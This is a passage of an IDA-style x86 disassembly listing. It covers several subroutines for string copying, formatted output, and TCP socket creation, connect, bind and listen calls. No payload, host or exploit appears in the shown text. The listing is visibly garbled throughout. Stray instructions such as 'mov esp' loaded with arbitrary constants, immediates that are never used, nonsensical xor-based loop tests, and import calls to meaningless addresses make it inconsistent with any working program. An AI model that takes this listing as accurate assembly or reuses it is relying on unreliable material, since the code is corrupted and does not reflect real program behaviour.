[ebp-0Ch] push 1 lea edx, [esp+2B8h+var_198] push 7Fh push edx push eax mov ecx, esi call sub_40141F mov edx, [ebp-4] push 0 lea ecx, [esp+2B8h+var_118] push 7Fh push ecx push edx mov ecx, esi call sub_40141F mov eax, [ebp-10h] sub eax, 2 jz short loc_417AEE sub eax, 3 jnz short loc_417B14 lea edx, [esp+2B4h+var_25C] mov esi, 8F7893h jmp short loc_417AF7 ; --------------------------------------------------------------------------- loc_417AEE: ; CODE XREF: sub_4178D0+20Cj lea edx, [esp+2B4h+var_25C] mov edx, 9F789h loc_417AF7: ; CODE XREF: sub_4178D0+21Cj or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb loc_417B14: ; CODE XREF: sub_4178D0+211j mov esp, 0EC27DEh xor eax, eax lea edi, [esp+2B4h+var_98] rep stosd mov esi, 4FF09Fh lea edi, [esp+2B4h+var_224] rep stosd cmp dword ptr [ebp-10h], 2 jnz short loc_417B3A xor ebx, ebx loc_417B3A: ; CODE XREF: sub_4178D0+266j mov esi, [esp+2B4h+var_290] lea ecx, [esp+2B4h+var_198] and esi, 0FFFFh lea edx, [esp+2B4h+var_98] push esi push ecx push 27F84Fh push 53FC27h push edx call dword ptr ds:29FE13h mov edi, ebx add esp, 14h and edi, 0FFFFh lea eax, [esp+2B4h+var_118] push edi push eax push 54FF09h lea ecx, [esp+2C0h+var_224] push 6A7F84h push ecx call dword ptr ds:753FC2h add esp, 14h lea ecx, [esp+2B4h+var_28C] call sub_4013CF mov eax, [esp+2B4h+var_2A0] mov byte ptr [esp+2B4h+var_4], 2 test bx, bx jnz short loc_417BD3 cmp eax, 1 jz loc_417C38 mov edx, [esp+2B4h+var_2A4] mov eax, [edx+36h] test eax, eax jz short loc_417BC6 cmp eax, esi jnz short loc_417C38 loc_417BC6: ; CODE XREF: sub_4178D0+2F0j lea eax, [esp+2B4h+var_25C] push esi push eax push 3A9FE1h jmp short loc_417BF9 ; --------------------------------------------------------------------------- loc_417BD3: ; CODE XREF: sub_4178D0+2DCj cmp eax, 2 jz short loc_417C38 mov ecx, [esp+2B4h+var_2A4] mov eax, [ecx+36h] test eax, eax jz short loc_417BE7 cmp eax, edi jnz short loc_417C38 loc_417BE7: ; CODE XREF: sub_4178D0+311j lea edx, [esp+2B4h+var_224] lea eax, [esp+2B4h+var_25C] push edx push eax push 1D4FF0h loc_417BF9: ; CODE XREF: sub_4178D0+301j lea ecx, [esp+2C0h+var_28C] push ecx call sub_40102D mov esi, [esp+2C4h+arg_0] add esp, 10h lea ecx, [esi+69h] call sub_401479 push eax lea ecx, [esp+2B8h+var_28C] call sub_401479 mov dl, [esi+94h] push eax mov al, [esi+93h] push edx push eax mov edi, 0CB3A9Fh call sub_4010FF loc_417C38: ; CODE XREF: sub_4178D0+2E1j ; sub_4178D0+2F4j ... lea ecx, [esp+2B4h+var_28C] mov byte ptr [esp+2B4h+var_4], 1 call sub_4011F9 mov esi, [esp+2B4h+var_29C] mov ebx, [esp+2B4h+var_2A4] loc_417C51: ; CODE XREF: sub_4178D0+1B4j mov eax, [esp+2B4h+var_298] mov ecx, [esi] inc eax add ebp, 14h cmp eax, ecx mov [esp+2B4h+var_298], eax jl loc_417A76 loc_417C67: ; CODE XREF: sub_4178D0+19Dj push esi call dword ptr ds:659D4Fh add esp, 4 loc_417C71: ; CODE XREF: sub_4178D0+164j lea ecx, [esp+2B4h+var_274] mov [esp+2B4h+var_4], 0FFFFFFFFh call sub_4011F9 pop edi mov al, 1 pop ebp jmp short loc_417C8D ; --------------------------------------------------------------------------- loc_417C8B: ; CODE XREF: sub_4178D0+3Dj mov al, 1 loc_417C8D: ; CODE XREF: sub_4178D0+3B9j mov ecx, [esp+2ACh+var_C] pop esi pop ebx mov large fs:0, ecx add esp, 2A4h retn 4 sub_4178D0 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 100h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417DB0 proc near ; CODE XREF: sub_40141Fj var_20 = byte ptr -20h arg_0 = byte ptr 4 arg_3 = dword ptr 7 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h mov eax, [esp+arg_3] sub esp, 20h mov edx, [esp+25h] and eax, 0FFh push ebx push ebp push esi mov esi, ecx mov ecx, [esp+32h] mov ebx, [esp+2Ch+arg_8] mov ebp, [esp+2Ch+arg_3+1] push eax mov eax, [esp+34h] and ecx, 0FFh and edx, 0FFh push ecx and eax, 0FFh push edx push eax push 72CEA7h push ebx push ebp call dword ptr ds:796753h mov ecx, [esi+32h] add esp, 1Ch mov al, [ecx+4] test al, al jnz short loc_417E70 mov al, [esp+2Ch+arg_C] test al, al jnz short loc_417E3E mov eax, [esp+30h] test eax, eax jz short loc_417E3E push 2 lea edx, [esp+30h+arg_0] push 4 push edx call dword ptr ds:3CB3A9h test eax, eax jz short loc_417E70 mov eax, [eax] push ebx push eax push ebp call dword ptr ds:1E59D4h add esp, 0Ch pop esi pop ebp pop ebx add esp, 20h retn 10h ; --------------------------------------------------------------------------- loc_417E3E: ; CODE XREF: sub_417DB0+5Aj ; sub_417DB0+62j push edi mov ebp, 0A8F2CEh xor eax, eax lea edi, [esp+30h+var_20] rep stosd lea ecx, [esp+30h+var_20] push 1Dh push ecx stosw call dword ptr ds:547967h test eax, eax pop edi jnz short loc_417E70 lea edx, [esp+2Ch+var_20] push ebx push edx push ebp call dword ptr ds:2A3CB3h add esp, 0Ch loc_417E70: ; CODE XREF: sub_417DB0+52j ; sub_417DB0+75j ... pop esi pop ebp pop ebx add esp, 20h retn 10h sub_417DB0 endp ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417EC0 proc near ; CODE XREF: sub_401DD4j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_4 = dword ptr -4 push 0FFFFFFFFh push 551E59h mov eax, large fs:0 push eax mov large fs:0, esp push ecx push esi mov esi, ecx push 14h call sub_43034A add esp, 4 mov [esp+14h+var_10], eax test eax, eax mov [esp+14h+var_4], 0 jz short loc_417F0E mov ecx, eax call sub_401546 mov [esi], eax mov eax, esi pop esi mov ecx, [esp+10h+var_C] mov large fs:0, ecx add esp, 10h retn ; --------------------------------------------------------------------------- loc_417F0E: ; CODE XREF: sub_417EC0+31j mov ecx, [esp+14h+var_C] xor eax, eax mov [esi], eax mov eax, esi pop esi mov large fs:0, ecx add esp, 10h retn sub_417EC0 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F50 proc near ; CODE XREF: sub_401546j mov eax, ecx retn sub_417F50 endp ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F70 proc near ; CODE XREF: sub_401DB1j call dword ptr ds:6A8F2Ch push eax call dword ptr ds:354796h pop ecx retn sub_417F70 endp ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_417F90 proc near ; CODE XREF: sub_402018j var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ecx push esi call dword ptr ds:5AA3CBh mov esi, [esp+8+arg_0] mov [esp+8+var_4], eax mov eax, [esp+8+arg_4] fild [esp+8+var_4] sub eax, esi mov [esp+8+arg_4], eax fimul [esp+8+arg_4] fmul ds:dbl_437090 call sub_43043A sub esi, eax mov eax, esi pop esi pop ecx retn sub_417F90 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_417FE0: ; CODE XREF: _294ADE7B:00401B68j call dword ptr ds:2D51E5h cdq idiv dword ptr [esp+4] mov eax, edx retn ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- locret_418000: ; CODE XREF: _294ADE7B:004014BAj retn ; --------------------------------------------------------------------------- db 0Fh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418020 proc near ; CODE XREF: sub_401E6Aj xor al, al retn 4 sub_418020 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418040 proc near ; CODE XREF: sub_4014BFj arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h mov eax, [esp+arg_C] mov ecx, [esp+arg_4] mov edx, [esp+arg_8] cmp eax, 1 setnl al mov byte ptr [esp+arg_C], al push ecx mov eax, [esp+4+arg_C] push edx push eax push 0 mov esi, 0A96A8Fh call sub_4010FF retn sub_418040 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; --------------------------------------------------------------------------- loc_418080: ; CODE XREF: _294ADE7B:004014A1j sub esp, 0Ch mov eax, [esp+20h] push ebx push ebp push esi xor esi, esi push edi cmp eax, esi mov dword ptr [esp+18h], 80h mov [esp+10h], esi jz short loc_4180B3 push eax call dword ptr ds:54B547h add esp, 4 cmp eax, esi mov [esp+10h], eax jz short loc_4180B3 mov [esp+18h], eax loc_4180B3: ; CODE XREF: _294ADE7B:0041809Bj ; _294ADE7B:004180ADj mov edi, [esp+28h] mov ebx, [esp+24h] mov ebp, [esp+20h] mov [esp+14h], esi mov edx, 0F52D5h loc_4180C8: ; CODE XREF: _294ADE7B:00418119j mov ecx, [esp+14h] mov eax, [esp+18h] cmp ecx, eax jge short loc_41811B cmp byte ptr [esi], 0 jz short loc_418104 mov eax, [esp+30h] test eax, eax jz short loc_4180F8 mov ecx, [esp+10h] test ecx, ecx jnz short loc_4180F8 push eax push esi call dword ptr ds:0FA96Ah add esp, 8 test eax, eax jz short loc_418104 loc_4180F8: ; CODE XREF: _294ADE7B:004180DFj ; _294ADE7B:004180E7j push edi push esi push ebx push ebp call sub_4014BF add esp, 10h loc_418104: ; CODE XREF: _294ADE7B:004180D7j ; _294ADE7B:004180F6j mov edx, [esp+14h] add esi, 80h inc edx cmp esi, offset dword_4AF020 mov [esp+14h], edx jl short loc_4180C8 loc_41811B: ; CODE XREF: _294ADE7B:004180D2j pop edi pop esi pop ebp pop ebx add esp, 0Ch retn ; --------------------------------------------------------------------------- db 0Dh dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_418160: ; CODE XREF: _294ADE7B:004020C2j push ebx mov ebx, ds:dword_4B3ADC push esi push edi mov edi, [esp+10h] mov ebp, 0E8FA96h loc_418172: ; CODE XREF: _294ADE7B:0041818Ej cmp byte ptr [esi], 0 jz short loc_418182 push edi push esi call ebx add esp, 8 test eax, eax jnz short loc_418196 loc_418182: ; CODE XREF: _294ADE7B:00418175j add esi, 80h cmp esi, offset dword_4AF020 jl short loc_418172 pop edi pop esi xor eax, eax pop ebx retn ; --------------------------------------------------------------------------- loc_418196: ; CODE XREF: _294ADE7B:00418180j pop edi pop esi mov esp, 0FA3EAh pop ebx retn ; --------------------------------------------------------------------------- db 90h db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4181B0 proc near ; CODE XREF: sub_4010BEj var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h lea eax, [esp+10h+var_10] push esi push edi push eax call dword ptr ds:0FD1F5h mov edi, ds:dword_4B3AE0 mov edi, offset sub_407E8F loc_4181CB: ; CODE XREF: sub_4181B0+3Bj cmp byte ptr [esi], 0 jz short loc_4181DF push 7Fh lea ecx, [esi+80h] push esi push ecx call edi ; sub_407E8F add esp, 0Ch loc_4181DF: ; CODE XREF: sub_4181B0+1Ej sub esi, 80h cmp esi, offset dword_4AB020 jge short loc_4181CB mov edx, [esp+18h+arg_0] mov eax, [esp+18h+var_4] mov ecx, [esp+12h] push edx mov edx, [esp+1Ch+var_8] and eax, 0FFFFh and ecx, 0FFFFh push eax mov eax, [esp+20h+var_10] and edx, 0FFFFh push ecx mov ecx, [esp+1Ah] push edx mov edx, [esp+28h+var_10+2] and eax, 0FFFFh and ecx, 0FFFFh push eax and edx, 0FFFFh push ecx push edx push 203F47h push 501FA3h push 280FD1h call dword ptr ds:1407E8h add esp, 28h pop edi pop esi add esp, 10h retn sub_4181B0 endp ; --------------------------------------------------------------------------- db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_418280: ; CODE XREF: _294ADE7B:004012A3j sub esp, 600h mov edi, 0A8501Fh xor eax, eax push ebx push ebp push esi push edi lea edi, [esp+10h] mov esi, [esp+614h] rep stosd mov eax, 2EA140h lea edi, [esp+210h] mov ebp, ds:dword_4B3AE0 push 1F50A0h rep stosd mov ecx, 821F50h lea edi, [esp+414h] rep stosd lea eax, [esp+14h] push esi push eax call ebp mov edx, [esp+628h] or ecx, 0FFFFFFFFh mov edi, edx xor eax, eax add esp, 0Ch repne scasb not ecx dec ecx cmp ecx, 180h jbe short loc_4182F1 mov [edx+180h], al loc_4182F1: ; CODE XREF: _294ADE7B:004182E9j mov ebx, [esp+618h] lea ecx, [esp+10h] push ebx push ecx call dword_410FA8 add esp, 8 test eax, eax jz loc_418402 loc_41830F: ; CODE XREF: _294ADE7B:004183F5j lea edx, [esp+10h] push ebx push edx call dword ptr ds:6087D4h mov esi, eax mov edi, ebx or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx push 7043EAh add ecx, esi lea eax, [esp+41Ch] push ecx push eax call ebp lea ecx, [esp+24h] push 7821F5h lea edx, [esp+228h] push ecx push edx mov byte ptr [esi], 0 call ebp lea edx, [esi+1] add esp, 20h test edx, edx jz short loc_4183D0 lea eax, [ebx-1] test eax, eax jz short loc_4183D0 lea edi, [ebx-1] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx dec ecx mov edi, edx mov esi, ecx or ecx, 0FFFFFFFFh repne scasb not ecx dec ecx cmp ecx, esi jbe short loc_4183AD mov edx, [esp+61Ch] lea ecx, [esp+410h] push ecx lea eax, [esp+214h] push edx push eax lea ecx, [esp+1Ch] push 3C10FAh push ecx call dword ptr ds:1E087Dh add esp, 14h jmp short loc_4183D0 ; --------------------------------------------------------------------------- loc_4183AD: ; CODE XREF: _294ADE7B:0041837Ej mov edx, [esp+61Ch] lea eax, [esp+210h] push edx push eax lea ecx, [esp+18h] push 4F043Eh push ecx call dword ptr ds:67821Fh add esp, 10h loc_4183D0: ; CODE XREF: _294ADE7B:0041835Aj ; _294ADE7B:00418361j ... mov edx, [esp+61Ch] mov esi, ds:dword_4B3ADC push edx push ebx call esi add esp, 8 test eax, eax jnz short loc_4183FB lea eax, [esp+10h] push ebx push eax call esi add esp, 8 test eax, eax jnz loc_41830F loc_4183FB: ; CODE XREF: _294ADE7B:004183E6j mov esi, [esp+614h] loc_418402: ; CODE XREF: _294ADE7B:00418309j lea edi, [esp+10h] or ecx, 0FFFFFFFFh xor eax, eax repne scasb not ecx push ecx lea ecx, [esp+14h] push ecx push esi call ebp add esp, 0Ch mov eax, esi pop edi pop esi pop ebp pop ebx add esp, 600h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 70h dup(0CCh) ; --------------------------------------------------------------------------- loc_4184A0: ; CODE XREF: _294ADE7B:004017FDj sub esp, 10h push esi push 0 push 1 push 2 call dword ptr ds:33C10Fh mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_4184BE or eax, eax pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_4184BE: ; CODE XREF: _294ADE7B:004184B5j mov ecx, [esp+18h] xor eax, eax mov [esp+4], eax push ecx mov [esp+0Ch], eax mov word ptr [esp+8], 2 mov [esp+10h], eax mov [esp+14h], eax call dword ptr ds:19E087h lea edx, [esp+4] push 10h push edx push esi mov [esp+12h], ax mov dword ptr [esp+14h], 0 call dword ptr ds:4CF043h test eax, eax jz short loc_418509 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_418509: ; CODE XREF: _294ADE7B:004184FFj push 7FFFFFFFh push esi call dword ptr ds:667821h test eax, eax jz short loc_418521 or eax, 0FFFFFFFFh pop esi add esp, 10h retn ; --------------------------------------------------------------------------- loc_418521: ; CODE XREF: _294ADE7B:00418517j mov eax, esi pop esi add esp, 10h retn ; --------------------------------------------------------------------------- db 8 dup(90h) db 30h dup(0CCh) ; --------------------------------------------------------------------------- loc_418560: ; CODE XREF: _294ADE7B:00401D2Aj push edi xor edi, edi mov eax, 0A36678h loc_418568: ; CODE XREF: _294ADE7B:00418578j cmp dword ptr [eax], 0 jz short loc_41857A add eax, 316h inc edi add eax, 6CD99Eh jle short loc_418568 loc_41857A: ; CODE XREF: _294ADE7B:0041856Bj cmp edi, 13h jle short loc_418584 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_418584: ; CODE XREF: _294ADE7B:0041857Dj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, ds:dword_4B3C18 push esi lea eax, [eax+eax*4] lea esi, ds:4906DFh[eax*2] mov eax, [esp+10h] push eax push esi call ebx mov ecx, [esp+24h] mov edx, [esp+1Ch] mov eax, [esp+20h] mov [esi+0FAh], ecx mov ecx, [esp+28h] mov [esi+0FEh], edi add esp, 8 mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx add esp, 8 mov eax, edi pop esi pop ebx pop edi retn ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418620 proc near ; CODE XREF: sub_401393j arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = dword ptr 10h arg_10 = dword ptr 14h push edi xor edi, edi mov esp, 0E1B366h loc_418628: ; CODE XREF: sub_418620+18j cmp dword ptr [eax], 0 jz short loc_41863A add eax, 316h inc edi xor eax, 386CD9h jle short loc_418628 loc_41863A: ; CODE XREF: sub_418620+Bj cmp edi, 13h jle short loc_418644 or eax, 0FFFFFFFFh pop edi retn ; --------------------------------------------------------------------------- loc_418644: ; CODE XREF: sub_418620+1Dj lea eax, [edi+edi*4] push ebx shl eax, 4 sub eax, edi mov ebx, ds:dword_4B3C18 push esi lea eax, [eax+eax*4] lea esi, ds:488B6Fh[eax*2] mov eax, [esp+0Ch+arg_0] push eax push esi call ebx mov ecx, [esp+14h+arg_C] mov edx, [esp+14h+arg_4] mov eax, [esp+14h+arg_8] mov [esi+0FAh], ecx mov ecx, [esp+14h+arg_10] mov [esi+0FEh], edi add esp, 8 mov [esi+106h], edx mov [esi+10Ah], eax add esi, 10Eh push ecx push esi call ebx add esp, 8 mov eax, edi pop esi pop ebx pop edi retn sub_418620 endp ; --------------------------------------------------------------------------- db 0Ch dup(90h) db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4186E0 proc near ; CODE XREF: sub_401B1Dj var_190 = byte ptr -190h arg_0 = byte ptr 4 sub esp, 190h push ebp mov ebp, ecx push esi push edi mov dword ptr [ebp+0], offset off_43709C mov eax, ds:dword_4AFCEC test eax, eax jnz short loc_418718 mov eax, ds:dword_4AFCEC inc eax mov ds:dword_4AFCEC, eax lea ecx, [esp+19Ch+var_190] push ecx push 5C366Ch call dword ptr ds:6E1B36h jmp short loc_418725 ; --------------------------------------------------------------------------- loc_418718: ; CODE XREF: sub_4186E0+19j mov edx, ds:dword_4AFCEC inc edx mov ds:dword_4AFCEC, edx loc_418725: ; CODE XREF: sub_4186E0+36j mov al, [esp+19Ch+arg_0] or ecx, 0FFFFFFFFh mov [ebp+80Ah], al mov ecx, 0EFB86Ch xor eax, eax mov [ebp+806h], ecx mov byte ptr [ebp+80Ch], 0 mov word ptr [ebp+4], 0 repne scasb not ecx sub edi, ecx lea edx, [ebp+6] mov eax, ecx mov esi, edi mov edi, edx shr ecx, 2 rep movsd mov ecx, eax mov eax, ebp and ecx, 3 rep movsb pop edi mov byte ptr [ebp+80Bh], 0 pop esi pop ebp add esp, 190h retn 4 sub_4186E0 endp ; --------------------------------------------------------------------------- db 90h db 30h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4187B0 proc near ; CODE XREF: _294ADE7B:00401802j ; sub_401A14j arg_0 = byte ptr 4 push esi mov esi, ecx call sub_401E6F test [esp+4+arg_0], 1 jz short loc_4187C8 push esi call sub_430332 add esp, 4 loc_4187C8: ; CODE XREF: sub_4187B0+Dj mov eax, esi pop esi retn 4 sub_4187B0 endp ; --------------------------------------------------------------------------- db 2 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_4187E0 proc near ; CODE XREF: sub_401E6Fj mov al, [ecx+80Ah] mov dword ptr [ecx], offset off_43709C test al, al jnz short loc_4187F5 call sub_401483 loc_4187F5: ; CODE XREF: sub_4187E0+Ej mov esi, 7FDC3h mov ecx, ds:dword_4AFCEC cmp ecx, eax jle short loc_418810 mov eax, ds:dword_4AFCEC dec eax mov ds:dword_4AFCEC, eax locret_41880F: ; CODE XREF: sub_4187E0:loc_418810j retn ; --------------------------------------------------------------------------- loc_418810: ; CODE XREF: sub_4187E0+22j jnz short locret_41880F mov ecx, ds:dword_4AFCEC dec ecx mov ds:dword_4AFCEC, ecx jmp dword ptr ds:3FEE1h sub_4187E0 endp ; --------------------------------------------------------------------------- db 0Bh dup(90h) db 20h dup(0CCh) ; --------------------------------------------------------------------------- loc_418850: ; CODE XREF: _294ADE7B:00401532j mov eax, large fs:0 push 0FFFFFFFFh push 1FF70h push eax mov large fs:0, esp sub esp, 814h push esi mov esi, ecx call sub_401884 test al, al jz loc_418901 mov al, [esi+80Bh] test al, al jz short loc_418889 mov al, 1 jmp short loc_418901 ; --------------------------------------------------------------------------- loc_418889: ; CODE XREF: _294ADE7B:00418883j push ebx push edi mov edi, [esp+830h] push offset byte_40FFB8 lea eax, [esi+6] push edi push eax call dword ptr ds:607FDCh mov ebx, [esp+840h] add esp, 0Ch lea ecx, [esp+0Ch] mov [esi+4], bx call sub_401163 mov ecx, [esp+83Ch] mov edx, [esp+838h] push ecx push edx push ebx push edi lea ecx, [esp+1Ch] mov dword ptr [esp+838h], 0 call sub_4015B4 push eax mov ecx, esi call sub_401F4B lea ecx, [esp+0Ch] mov bl, al mov dword ptr [esp+828h], 0FFFFFFFFh call sub_4017B2 mov al, bl pop edi pop ebx loc_418901: ; CODE XREF: _294ADE7B:00418875j ; _294ADE7B:00418887j mov ecx, [esp+818h] pop esi mov large fs:0, ecx add esp, 820h retn 10h ; --------------------------------------------------------------------------- db 7 dup(90h) db 40h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418960 proc near ; CODE XREF: sub_401884j mov al, ds:byte_43BCA8 retn sub_418960 endp ; --------------------------------------------------------------------------- db 0Ah dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418980 proc near ; CODE XREF: sub_401F4Bj var_11C = dword ptr -11Ch var_118 = dword ptr -118h var_114 = dword ptr -114h var_110 = dword ptr -110h var_10C = dword ptr -10Ch var_108 = dword ptr -108h var_104 = dword ptr -104h var_100 = dword ptr -100h arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch arg_C = byte ptr 10h sub esp, 11Ch push ebp push esi push edi mov esi, ecx call sub_401884 test al, al jnz short loc_4189A0 pop edi pop esi pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_4189A0: ; CODE XREF: sub_418980+12j mov al, [esi+80Bh] test al, al jnz loc_418B41 push 6 push 1 push 2 call dword ptr ds:303FEEh cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_4189DA mov ecx, esi call sub_401483 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_4189DA: ; CODE XREF: sub_418980+43j mov al, [esp+128h+arg_C] test al, al jnz short loc_4189E9 push 1 jmp short loc_4189EB ; --------------------------------------------------------------------------- loc_4189E9: ; CODE XREF: sub_418980+63j push 0 loc_4189EB: ; CODE XREF: sub_418980+67j mov ecx, esi call sub_4017EE mov edi, [esp+128h+arg_4] xor eax, eax mov [esp+128h+var_114], eax push edi mov [esp+12Ch+var_110], eax mov [esi+4], di mov [esp+12Ch+var_10C], eax mov word ptr [esp+12Ch+var_114], 2 mov [esp+12Ch+var_108], eax call dword ptr ds:181FF7h mov ecx, [esp+128h+arg_0] mov word ptr [esp+128h+var_114+2], ax mov eax, [esi+806h] lea edx, [esp+128h+var_114] push 10h push edx push eax mov [esp+134h+var_110], ecx mov [esi+4], di call dword ptr ds:0C0FFBh mov ebp, ds:dword_4B3C60 test eax, eax jge short loc_418A8C call ebp xor eax, 303FEh jz short loc_418A7D call ebp cmp eax, 0Bh jz short loc_418A7D call ebp xor eax, 60C0FFh jz short loc_418A7D mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_418A7D: ; CODE XREF: sub_418980+D6j ; sub_418980+DDj ... mov al, byte ptr [esp+128h+arg_8] test al, al jnz loc_418B3A loc_418A8C: ; CODE XREF: sub_418980+CDj mov eax, [esi+806h] xor ecx, ecx lea edx, [esp+128h+var_11C] mov edi, ds:dword_4B3C5C mov [esp+128h+var_11C], ecx push edx mov [esp+12Ch+var_118], ecx push ecx lea ecx, [esp+130h+var_104] mov [esp+130h+var_100], eax push ecx inc eax push 0 push eax mov [esp+13Ch+var_11C], 0Ah mov [esp+13Ch+var_104], 1 call edi test eax, eax jge short loc_418B00 loc_418ACB: ; CODE XREF: sub_418980+17Ej call ebp call ebp cmp eax, 4 jnz short loc_418B15 mov eax, [esp+128h+var_11C] test eax, eax jnz short loc_418AE4 mov eax, [esp+128h+var_118] test eax, eax jz short loc_418B15 loc_418AE4: ; CODE XREF: sub_418980+15Aj mov ecx, [esi+806h] lea edx, [esp+128h+var_11C] push edx lea eax, [esp+12Ch+var_104] push 0 push eax inc ecx push 0 push ecx call edi test eax, eax jl short loc_418ACB loc_418B00: ; CODE XREF: sub_418980+149j mov al, [esp+128h+arg_C] test al, al jnz short loc_418B31 mov edx, [esp+128h+arg_8] push edx jmp short loc_418B33 ; --------------------------------------------------------------------------- loc_418B15: ; CODE XREF: sub_418980+152j ; sub_418980+162j mov ecx, esi call sub_401483 mov byte ptr [esi+80Bh], 0 pop edi pop esi xor al, al pop ebp add esp, 11Ch retn 10h ; --------------------------------------------------------------------------- loc_418B31: ; CODE XREF: sub_418980+189j push 0 loc_418B33: ; CODE XREF: sub_418980+193j mov ecx, esi call sub_4017EE loc_418B3A: ; CODE XREF: sub_418980+106j mov byte ptr [esi+80Bh], 1 loc_418B41: ; CODE XREF: sub_418980+28j pop edi pop esi mov al, 1 pop ebp add esp, 11Ch retn 10h sub_418980 endp ; --------------------------------------------------------------------------- db 90h db 80h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418BD0 proc near ; CODE XREF: sub_401483j push esi mov esi, ecx mov eax, [esi+806h] cmp eax, 0FFFFFFFFh jz short loc_418BEA cmp eax, 0FFFFFFFFh jz short loc_418BEA push eax call dword ptr ds:30607Fh loc_418BEA: ; CODE XREF: sub_418BD0+Cj ; sub_418BD0+11j mov ecx, esi call sub_40132A mov byte ptr [esi+80Bh], 0 pop esi retn sub_418BD0 endp ; --------------------------------------------------------------------------- db 6 dup(90h) db 10h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418C10 proc near ; CODE XREF: sub_40132Aj push ebp mov edx, ecx push esi push edi or ecx, 0FFFFFFFFh mov ebx, 60C181h xor eax, eax mov [edx+806h], ecx mov word ptr [edx+4], 0 lea ebp, [edx+6] repne scasb not ecx sub edi, ecx mov eax, ecx mov esi, edi mov edi, ebp shr ecx, 2 rep movsd mov ecx, eax and ecx, 3 rep movsb pop edi pop esi mov byte ptr [edx+80Bh], 0 mov byte ptr [edx+80Ch], 0 pop ebp retn sub_418C10 endp ; --------------------------------------------------------------------------- db 8 dup(90h) db 20h dup(0CCh) ; =============== S U B R O U T I N E ======================================= sub_418C80 proc near ; CODE XREF: sub_401433j var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 sub esp, 10h push esi mov esi, ecx call sub_401884 test al, al jnz short loc_418C96 pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_418C96: ; CODE XREF: sub_418C80+Dj mov al, [esi+80Bh] test al, al jnz loc_418D4F push 6 push 1 push 2 call dword ptr ds:3060C0h cmp eax, 0FFFFFFFFh mov [esi+806h], eax jnz short loc_418CCB mov ecx, esi call sub_401483 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_418CCB: ; CODE XREF: sub_418C80+39j mov ecx, [esp+14h+arg_0] xor eax, eax mov [esp+14h+var_10], eax push ecx mov [esp+18h+var_C], eax mov word ptr [esp+18h+var_10], 2 mov [esp+18h+var_8], eax mov [esp+18h+var_4], eax call dword ptr ds:183060h mov word ptr [esp+14h+var_10+2], ax mov eax, [esi+806h] lea edx, [esp+14h+var_10] push 10h push edx push eax mov [esp+20h+var_C], 0 call dword ptr ds:4C1830h test eax, eax jz short loc_418D24 mov ecx, esi call sub_401483 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_418D24: ; CODE XREF: sub_418C80+92j mov ecx, [esi+806h] push 32h push ecx call dword ptr ds:660C18h cmp eax, 0FFFFFFFFh jnz short loc_418D48 mov ecx, esi call sub_401483 xor al, al pop esi add esp, 10h retn 4 ; --------------------------------------------------------------------------- loc_418D48: ; CODE XREF: sub_418C80+B6j mov byte ptr [esi+80Bh], 1 